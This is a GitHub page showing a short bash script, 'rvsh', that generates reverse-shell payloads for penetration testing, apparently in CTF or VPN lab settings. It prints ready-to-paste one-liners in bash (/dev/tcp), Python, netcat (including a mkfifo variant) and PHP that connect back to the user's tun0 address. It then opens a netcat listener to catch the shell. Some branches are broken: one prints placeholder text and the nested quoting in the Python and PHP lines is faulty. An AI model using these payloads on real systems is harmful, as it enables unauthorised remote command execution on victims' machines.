-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrvsh
36 lines (32 loc) · 1.16 KB
/
rvsh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
port="`shuf -i 1000-65000 -n 1`"
turl=$(echo `ifconfig tun0 2>/dev/null|awk '/inet / {print $2}'`)
if [[ -n "$2" ]]; then
port=$2
fi
echo "sorce: pentestmonkey"
echo -------------------------------------------------------
if [[ "$1" == "-h" ]]; then
echo "rvsh <Type> <port>"
exit
elif [[ "$1" == "bash" ]]; then
echo "bash -i >& /dev/tcp/$turl/$port 0>&1"
elif [[ "$1" == "python" ]]; then
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$turl",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"
elif [[ "$1" == "nc" ]]; then
echo "nc -e /bin/sh $turl $port"
echo -------------------------------------------------------
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $turl $port >/tmp/f"
elif [[ "$1" == "nco" ]]; then
echo "ppppp"
elif [[ "$1" == "php" ]]; then
echo "php -r '$sock=fsockopen("$turl",$port);exec("/bin/sh -i <&3 >&3 2>&3");'"
fi
echo -------------------------------------------------------
echo
echo
echo +-----------------+
echo "ip: $turl"
echo "port: $port"
echo +-----------------+
nc -lvnp $port